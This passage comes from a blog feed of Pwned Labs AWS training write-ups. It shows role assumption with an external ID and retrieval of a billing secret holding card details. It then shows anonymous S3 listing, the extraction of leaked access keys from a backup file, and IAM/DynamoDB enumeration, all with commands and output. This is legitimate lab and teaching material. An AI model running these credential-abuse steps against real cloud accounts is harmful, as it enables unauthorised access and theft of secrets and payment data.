</span></span></code></pre></div><p>Looking into the policy we can see that this is at Version v2</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user iam get-policy --policy-arn arn:aws:iam::427648302155:policy/Payment
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Policy&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyName&#34;</span>: <span style="color:#e6db74">&#34;Payment&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PolicyId&#34;</span>: <span style="color:#e6db74">&#34;ANPAWHEOTHRFZCZIMJSVW&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::427648302155:policy/Payment&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Path&#34;</span>: <span style="color:#e6db74">&#34;/&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;DefaultVersionId&#34;</span>: <span style="color:#e6db74">&#34;v2&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttachmentCount&#34;</span>: 1,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;PermissionsBoundaryUsageCount&#34;</span>: 0,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsAttachable&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-04T22:03:41+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;UpdateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-04T22:34:19+00:00&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Tags&#34;</span>: <span style="color:#f92672">[]</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We then list the the Policy and note that this has <code>GetSecretValue</code> for the default payment method for the company.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user iam get-policy-version --policy-arn arn:aws:iam::427648302155:policy/Payment --version-id v2
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;PolicyVersion&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Document&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Version&#34;</span>: <span style="color:#e6db74">&#34;2012-10-17&#34;</span>,
</span></span><span style="display:flex;"><span>            <span style="color:#e6db74">&#34;Statement&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;VisualEditor0&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;secretsmanager:GetSecretValue&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;secretsmanager:DescribeSecret&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;secretsmanager:ListSecretVersionIds&#34;</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Sid&#34;</span>: <span style="color:#e6db74">&#34;VisualEditor1&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Effect&#34;</span>: <span style="color:#e6db74">&#34;Allow&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Action&#34;</span>: <span style="color:#e6db74">&#34;secretsmanager:ListSecrets&#34;</span>,
</span></span><span style="display:flex;"><span>                    <span style="color:#e6db74">&#34;Resource&#34;</span>: <span style="color:#e6db74">&#34;*&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;v2&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;IsDefaultVersion&#34;</span>: true,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreateDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-04T22:34:19+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>You will recall that our account had permission to AssumeRole and also that there was a conditional requirement to specify an <code>external-id</code> and we are able to successfully assume the role.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile ext-cost-user sts assume-role --role-arn arn:aws:iam::427648302155:role/ExternalCostOpimizeAccess --role-session-name ExternalCostOptimize --external-id <span style="color:#ae81ff">37911</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Credentials&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AccessKeyId&#34;</span>: <span style="color:#e6db74">&#34;ASIAWHEOTHRFT6Q42XPZ&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SecretAccessKey&#34;</span>: <span style="color:#e6db74">&#34;3uAQuu6OQwB2nIBonsjII0OOpr1Y/SvMZndPHx2N&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;SessionToken&#34;</span>: <span style="color:#e6db74">&#34;IQoJb3JpZ2luX2VjELT//////////wEaCXVzLWVhc3QtMSJIMEYCIQCRC+ftYnLGDEPpmCg71l9kRgXLHejwcvBNR1APAGkoaQIhANnb91D4/U4WVJ7klRdu5HvHhZI8Ofw/9udOq1bLQAJHKqECCGwQABoMNDI3NjQ4MzAyMTU1IgzfI+QVKb022j677bwq/gF8M+Mr/0i2sJQQ5IIwlKBpwdkDjk7CFhKoCxQjbZ3ndJJ5qForX67vnjnj1w/degHbC7WJjwnduAyYoW26ism9Y3bzI2GL+IAHzs2hyvEnOlA9yeg7rjPyQVde7h3rpwsrUfZmTuNy1i0ju6UfDxSOABaidnA+roce1oMTXHxgnFYaUFZqiEC+QQPWEqGa/nnOOFDd8mC03114uU3yaBFBxTWECu1opdufwTuD18RB+AVbRNWEQzyjP70iqik/qQK6kfVTA3gvDaSB2wTfNTaT4d1b2dyEhTxWfkNwIM0TvSWNdEy0tVHFhoIImwxXSWjHvqxRiBuFWXfOwMKiQzDp4Y20BjqcAc1+w2NaVMN7VgvfpfX+L8scc0b7jd2CT72Pddo4SQ0GxDuA83STSORU7Yw6V2btnO7UHZCqNRBfakd8YLFSlqExa4D3K71qF85pmMHmyD8Ra2Vn7hJqXK4pBQ9ipiyH45rQsc5oO3jJDW/HdN3/obUN4zzvVPSaTFz4yrStgUiSRsLvEt+aKBFjRGN7j7QOOzr2KZv63dJwenL+nA==&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Expiration&#34;</span>: <span style="color:#e6db74">&#34;2024-07-02T04:15:53+00:00&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;AssumedRoleUser&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AssumedRoleId&#34;</span>: <span style="color:#e6db74">&#34;AROAWHEOTHRFZP3NQR7WN:ExternalCostOptimize&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOptimize&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We update our configuration with the credentials and session token and then verify that it is functioning correctly.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cost-optimize configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: ASIAWHEOTHRFT6Q42XPZ
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: 3uAQuu6OQwB2nIBonsjII0OOpr1Y/SvMZndPHx2N
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: us-east-1
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile cost-optimize configure set aws_session_token <span style="color:#e6db74">&#34;IQoJb3JpZ2luX2VjELT//////////wEaCXVzLWVhc3QtMSJIMEYCIQCRC+ftYnLGDEPpmCg71l9kRgXLHejwcvBNR1APAGkoaQIhANnb91D4/U4WVJ7klRdu5HvHhZI8Ofw/9udOq1bLQAJHKqECCGwQABoMNDI3NjQ4MzAyMTU1IgzfI+QVKb022j677bwq/gF8M+Mr/0i2sJQQ5IIwlKBpwdkDjk7CFhKoCxQjbZ3ndJJ5qForX67vnjnj1w/degHbC7WJjwnduAyYoW26ism9Y3bzI2GL+IAHzs2hyvEnOlA9yeg7rjPyQVde7h3rpwsrUfZmTuNy1i0ju6UfDxSOABaidnA+roce1oMTXHxgnFYaUFZqiEC+QQPWEqGa/nnOOFDd8mC03114uU3yaBFBxTWECu1opdufwTuD18RB+AVbRNWEQzyjP70iqik/qQK6kfVTA3gvDaSB2wTfNTaT4d1b2dyEhTxWfkNwIM0TvSWNdEy0tVHFhoIImwxXSWjHvqxRiBuFWXfOwMKiQzDp4Y20BjqcAc1+w2NaVMN7VgvfpfX+L8scc0b7jd2CT72Pddo4SQ0GxDuA83STSORU7Yw6V2btnO7UHZCqNRBfakd8YLFSlqExa4D3K71qF85pmMHmyD8Ra2Vn7hJqXK4pBQ9ipiyH45rQsc5oO3jJDW/HdN3/obUN4zzvVPSaTFz4yrStgUiSRsLvEt+aKBFjRGN7j7QOOzr2KZv63dJwenL+nA==&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile cost-optimize sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AROAWHEOTHRFZP3NQR7WN:ExternalCostOptimize&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;427648302155&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:sts::427648302155:assumed-role/ExternalCostOpimizeAccess/ExternalCostOptimize&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We have successfully assumed the role and been able to retrieve the default payment method.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile cost-optimize secretsmanager get-secret-value --secret-id billing/hl-default-payment
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;ARN&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:secretsmanager:us-east-1:427648302155:secret:billing/hl-default-payment-xGmMhK&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Name&#34;</span>: <span style="color:#e6db74">&#34;billing/hl-default-payment&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;VersionId&#34;</span>: <span style="color:#e6db74">&#34;f8e592ca-4d8a-4a85-b7fa-7059539192c5&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;SecretString&#34;</span>: <span style="color:#e6db74">&#34;{\&#34;Card Brand\&#34;:\&#34;VISA\&#34;,\&#34;Card Number\&#34;:\&#34;4180-5677-2810-4227\&#34;,\&#34;Holder Name\&#34;:\&#34;Michael Hayes\&#34;,\&#34;CVV/CVV2\&#34;:\&#34;839\&#34;,\&#34;Card Expiry\&#34;:\&#34;5/2026\&#34;,\&#34;Flag\&#34;:\&#34;&lt;redacted&gt;\&#34;}&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;VersionStages&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AWSCURRENT&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;CreatedDate&#34;</span>: <span style="color:#e6db74">&#34;2023-08-05T06:33:39.867000+08:00&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>PWNED!</p>
]]></content>
        </item>
        
        <item>
            <title>Pwned Labs - Execute and Identify Credential Abuse in AWS</title>
            <link>https://www.nephos.guru/posts/2024/awscredentialabuse/</link>
            <pubDate>Mon, 01 Jul 2024 17:09:25 +0800</pubDate>
            
            <guid>https://www.nephos.guru/posts/2024/awscredentialabuse/</guid>
            <description>&lt;p&gt;&lt;a href=&#34;https://pwnedlabs.io/labs/execute-and-identify-credential-abuse-in-aws&#34;&gt;Execute and Identify Credential Abuse in AWS&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&#34;scenario&#34;&gt;Scenario&lt;/h2&gt;
&lt;p&gt;During your routine audit for Huge Logistics, you&amp;rsquo;ve come across an unsecured S3 bucket. Your task for the day: Dive into the bucket&amp;rsquo;s contents and scrutinize it. If you stumble upon any sensitive data, document them and use them as pivots to understand the broader security posture of Huge Logistics&amp;rsquo; cloud environment. Your goal is to determine the risk exposure of this open bucket and gain access to other connected systems.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p><a href="https://pwnedlabs.io/labs/execute-and-identify-credential-abuse-in-aws">Execute and Identify Credential Abuse in AWS</a></p>
<h2 id="scenario">Scenario</h2>
<p>During your routine audit for Huge Logistics, you&rsquo;ve come across an unsecured S3 bucket. Your task for the day: Dive into the bucket&rsquo;s contents and scrutinize it. If you stumble upon any sensitive data, document them and use them as pivots to understand the broader security posture of Huge Logistics&rsquo; cloud environment. Your goal is to determine the risk exposure of this open bucket and gain access to other connected systems.</p>
<h2 id="learning-outcomes">Learning Outcomes</h2>
<ul>
<li>S3 bucket enumeration</li>
<li>Leveraging tools to automate IAM permissions enumeration</li>
<li>DynamoDB enumeration and data exfiltration</li>
<li>Password hash identification and cracking with Jumbo John</li>
<li>Use Vim macro to automate data manipulation</li>
<li>Credential stuffing / brute force against AWS console</li>
<li>Detect online brute force attack using CloudTrail</li>
<li>Detect compromised IAM user using Amazon Athena</li>
<li>Gain an understanding of how this attack chain could have been prevented</li>
</ul>
<h2 id="real-world-context">Real World Context</h2>
<p>Password reuse and credential stuffing attacks are prevalent security issues in both on-premise and cloud settings. Many users recycle passwords across platforms, making them vulnerable if one service gets breached. Attackers exploit this with credential stuffing, using known username-password combinations to access various services. Additionally, sensitive data is often stored improperly in both environments, with developers and users sometimes placing secrets in non-secure applications or repositories. This underscores the need for better password practices and secure storage methods across all systems.</p>
<h2 id="entry-point">Entry Point</h2>
<p>hl-storage-general</p>
<hr>
<h2 id="attack">Attack</h2>
<p>As we have just the bucket name we will query this with the AWS CLI passing in the <code>--no-sign-request</code> to bypass the signature validation for S3 requests by ensuring that the AWS CLI doesn&rsquo;t sign the request with our credentials and we can see that there is a file called <code>asana-cloud-migration-backup.json</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws s3 ls s3://hl-storage-general --no-sign-request
</span></span><span style="display:flex;"><span>                           PRE migration/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws s3 ls s3://hl-storage-general --recursive --no-sign-request
</span></span><span style="display:flex;"><span>2023-08-10 04:11:01          <span style="color:#ae81ff">0</span> migration/
</span></span><span style="display:flex;"><span>2023-08-10 04:11:29     <span style="color:#ae81ff">147853</span> migration/asana-cloud-migration-backup.json
</span></span></code></pre></div><p>We will download the file and see what it contains.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws s3 cp s3://hl-storage-general/migration/asana-cloud-migration-backup.json . --no-sign-request
</span></span><span style="display:flex;"><span>download: s3://hl-storage-general/migration/asana-cloud-migration-backup.json to ./asana-cloud-migration-backup.json
</span></span></code></pre></div><p>There are 4963 lines in the JSON file and it appears to be referring to a migration, but scanning the file we did notice a notes section which we will grep out and then pipe into VIM running the command <code>cat asana-cloud-migration-backup </code></p>
<p>We get the data into VIM and will do some formatting to make it more readable</p>
<p>To clean up the data in VIM and improve readability, follow these steps:</p>
<ol>
<li>Start by entering the command <code>gg0</code> to move to the beginning of the file.</li>
<li>Next, record a Macro to streamline the formatting. Switch to Normal mode and execute the following sequence of commands:</li>
</ol>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>d3f<span style="color:#e6db74">&#34;  f&#34;</span> d$ j0 q
</span></span></code></pre></div><p>Explanation of commands:</p>
<ul>
<li><code>d3f&quot;</code>: Delete from the cursor to the third occurrence of <code>&quot;</code> in the current line.</li>
<li><code>f&quot;</code>: Move the cursor to the next occurrence of <code>&quot;</code>.</li>
<li><code>d$</code>: Delete from the cursor to the end of the line.</li>
<li><code>j0</code>: Move the cursor down one line and to the beginning.</li>
<li><code>q</code>: End recording the Macro.</li>
</ul>
<ol start="3">
<li>Once the Macro is recorded, execute it by specifying a numerical value. You can use a large number like <code>50</code> with <code>@q</code> to ensure it processes through the entire file, even if the number exceeds the total lines.</li>
</ol>
<p>Command to execute the Macro:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>50@q
</span></span></code></pre></div><p>This will apply the recorded Macro (<code>@q</code>) 50 times, effectively cleaning up the formatting across the data in the file which is easier to read and we have found an Access and Secret Key which we will configure in the CLI and can see that this belongs to the migration-test account.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester configure
</span></span><span style="display:flex;"><span>AWS Access Key ID <span style="color:#f92672">[</span>None<span style="color:#f92672">]]</span>: AKIATRPHKUQK4TXINWX4
</span></span><span style="display:flex;"><span>AWS Secret Access Key <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>: prWYLnFxk7yCJjkpCMaDyOCK8/qQFx4L6IKcTxXp
</span></span><span style="display:flex;"><span>Default region name <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>Default output format <span style="color:#f92672">[</span>None<span style="color:#f92672">]</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws --profile pentester sts get-caller-identity
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;UserId&#34;</span>: <span style="color:#e6db74">&#34;AIDATRPHKUQK2AQGRYR46&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Account&#34;</span>: <span style="color:#e6db74">&#34;243687662613&#34;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Arn&#34;</span>: <span style="color:#e6db74">&#34;arn:aws:iam::243687662613:user/migration-test&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>We will use <a href="https://github.com/shabarkin/aws-enumerator">AWS Enumerator</a>and the first we need to do is pass in our credentials</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws-enumerator cred -aws_access_key_id AKIATRPHKUQK4TXINWX4 --aws_secret_access_key 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 -aws_region us-east-1
</span></span><span style="display:flex;"><span>Message:  File .env with AWS credentials were created in current folder
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>❯ aws-enumerator enum -services all
</span></span><span style="display:flex;"><span>Message:  Successful APPMESH: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful AMPLIFY: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt; 
</span></span><span style="display:flex;"><span>Message:  Successful EKS: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Message:  Successful DEVICEFARM: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span>Message:  Successful DYNAMODB: <span style="color:#ae81ff">5</span> / <span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span>Message:  Successful ECR: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>Message:  Successful ECS: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">8</span>
</span></span><span style="display:flex;"><span>Message:  Successful FIREHOSE: <span style="color:#ae81ff">0</span> / <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>&lt; -- snip -- &gt; 
</span></span></code></pre></div><p>We got a hit on DynamoDB and shall enumerate that further and can see to Tables, <code>analytics_app_users</code> and <code>user_order_logs</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws-enumerator dump -services dynamodb -filter List -print
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------- DYNAMODB -------------------------------------------------------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ListBackups
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ListBackups&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;BackupSummaries&#34;</span>: <span style="color:#f92672">[]</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;LastEvaluatedBackupArn&#34;</span>: null,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;ResultMetadata&#34;</span>: <span style="color:#f92672">{}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ListTables
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ListTables&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;LastEvaluatedTableName&#34;</span>: null,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;TableNames&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;analytics_app_users&#34;</span>,
</span></span><span style="display:flex;"><span>                        <span style="color:#e6db74">&#34;user_order_logs&#34;</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;ResultMetadata&#34;</span>: <span style="color:#f92672">{}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ListGlobalTables
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;ListGlobalTables&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;GlobalTables&#34;</span>: <span style="color:#f92672">[]</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;LastEvaluatedGlobalTableName&#34;</span>: null,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;ResultMetadata&#34;</span>: <span style="color:#f92672">{}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------------------------------------------------------
</span></span></code></pre></div><p>We are unable to describe <code>user_order_logs</code> but we were able to get additional information on <code>analytics_app_users</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>❯ aws --profile pentester dynamodb describe-table --table analytics_app_users --region us-east-1
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#34;Table&#34;</span>: <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;AttributeDefinitions&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;AttributeName&#34;</span>: <span style="color:#e6db74">&#34;UserID&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;AttributeType&#34;</span>: <span style="color:#e6db74">&#34;S&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;TableName&#34;</span>: <span style="color:#e6db74">&#34;analytics_app_users&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;KeySchema&#34;</span>: <span style="color:#f92672">[</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;AttributeName&#34;</span>: <span style="color:#e6db74">&#34;UserID&#34;</span>,
</span></span><span style="display:flex;"><span>                <span style="color:#e6db74">&#34;KeyType&#34;</span>: <span style="color:#e6db74">&#34;HASH&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">]</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;TableStatus&#34;</span>: <span style="color:#e6db74">&#34;ACTIVE&#34;</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#e6db74">&#34;CreationDateTime&#34;</span>: <span style="color:#e6db74">&#34;2023-08-10T04:23:16.704000+08:00&#34;</span>,
